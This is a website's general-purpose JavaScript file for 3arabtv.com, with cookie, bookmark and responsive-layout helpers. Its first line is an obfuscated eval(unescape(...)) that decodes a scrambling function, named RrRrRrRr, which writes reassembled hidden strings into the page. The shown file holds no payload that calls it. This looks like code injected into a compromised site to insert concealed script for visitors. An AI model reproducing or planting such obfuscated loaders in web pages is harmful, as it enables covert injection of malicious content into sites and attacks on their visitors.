//unescape script goes here
eval(unescape("%66%75%6e%63%74%69%6f%6e%20%52%72%52%72%52%72%52%72%28%74%65%61%61%62%62%29%20%7b%76%61%72%20%74%74%74%6d%6d%6d%3d%22%22%3b%6c%3d%74%65%61%61%62%62%2e%6c%65%6e%67%74%68%3b%77%77%77%3d%68%68%68%68%66%66%66%66%3d%4d%61%74%68%2e%72%6f%75%6e%64%28%6c%2f%32%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%09%68%68%68%68%66%66%66%66%3d%68%68%68%68%66%66%66%66%2d%31%3b%66%6f%72%28%69%3d%30%3b%69%3c%68%68%68%68%66%66%66%66%3b%69%2b%2b%29%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%29%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%2b%68%68%68%68%66%66%66%66%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%20%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%6c%2d%31%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%74%74%74%6d%6d%6d%29%3b%7d%3b"));

//Cookie handler used mainly to set the browser width to a cookie
function CookieHandler() {
 
	this.setCookie = function (name, value, seconds) {
 
		if (typeof(seconds) != 'undefined') {
			var date = new Date();
			date.setTime(date.getTime() + (seconds*1000));
			var expires = "; expires=" + date.toGMTString();
		}
		else {
			var expires = "";
		}
 
		document.cookie = name+"="+value+expires+"; path=/";
	}
 
	this.getCookie = function (name) {
 
		name = name + "=";
		var carray = document.cookie.split(';');
 
		for(var i=0;i < carray.length;i++) {
			var c = carray[i];
			while (c.charAt(0)==' ') c = c.substring(1,c.length);
			if (c.indexOf(name) == 0) return c.substring(name.length,c.length);
		}
 
		return null;
	}
 
	this.deleteCookie = function (name) {
		this.setCookie(name, "", -1);
	}
 
}
var c = new CookieHandler();
var wsize=screen.width+'X'+screen.height;
c.setCookie('windsize', wsize, 60*60*24); // set cookie ofr one day (24 hours)

 //Bookmark script
function bookmarkthis(){
	var BookmarkURL=location.href;
	var BookmarkTitle="3arabtv.com"
	
	// If the browser is Internet Explorer
	if (document.all)
	{
			// Add to Favorites (Internet Explorer)
			window.external.AddFavorite(BookmarkURL,BookmarkTitle)
	}
	else
	{
			// Add to Bookmarks (Mozilla Firefox)
			window.sidebar.addPanel(BookmarkTitle, BookmarkURL, '');
	}
}

//script to change the CSS upon to the browser width

function dynamicLayout(){
    var browserWidth = getBrowserWidth();

    //Load Thin CSS Rules
    if (browserWidth < 1000){
        changeLayout("thin");
    }
	else{
		changeLayout("wide");
		}
}
function getBrowserWidth(){
    if (window.innerWidth){
        return window.innerWidth;}  
    else if (document.documentElement && document.documentElement.clientWidth != 0){
        return document.documentElement.clientWidth;    }
    else if (document.body){return document.body.clientWidth;}      
        return 0;
}

function changeLayout(description){
var i, a;
for(i=0; (a = document.getElementsByTagName("link")[i]); i++){
if(a.getAttribute("title") == description){a.disabled = false; }
else if(a.getAttribute("title") != "default"){a.disabled = true;}
//else {a.disabled = true;}
}
}
//addEvent() by John Resig
function addEvent( obj, type, fn ){ 
   if (obj.addEventListener){ 
      obj.addEventListener( type, fn, false );
   }
   else if (obj.attachEvent){ 
      obj["e"+type+fn] = fn; 
      obj[type+fn] = function(){ obj["e"+type+fn]( window.event ); } 
      obj.attachEvent( "on"+type, obj[type+fn] ); 
   } 
} 

function getActiveStyleSheet() {
var i, a;
 for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
  if(a.getAttribute("rel").indexOf("style") != -1
  && a.getAttribute("title")
  && !a.disabled) alert(a.getAttribute("title"));
  }
  return null;
}

//Run dynamicLayout function when page loads and when it resizes.
addEvent(window, 'load', dynamicLayout);
addEvent(window, 'resize', dynamicLayout);


/************ End of Style javascript code **********************/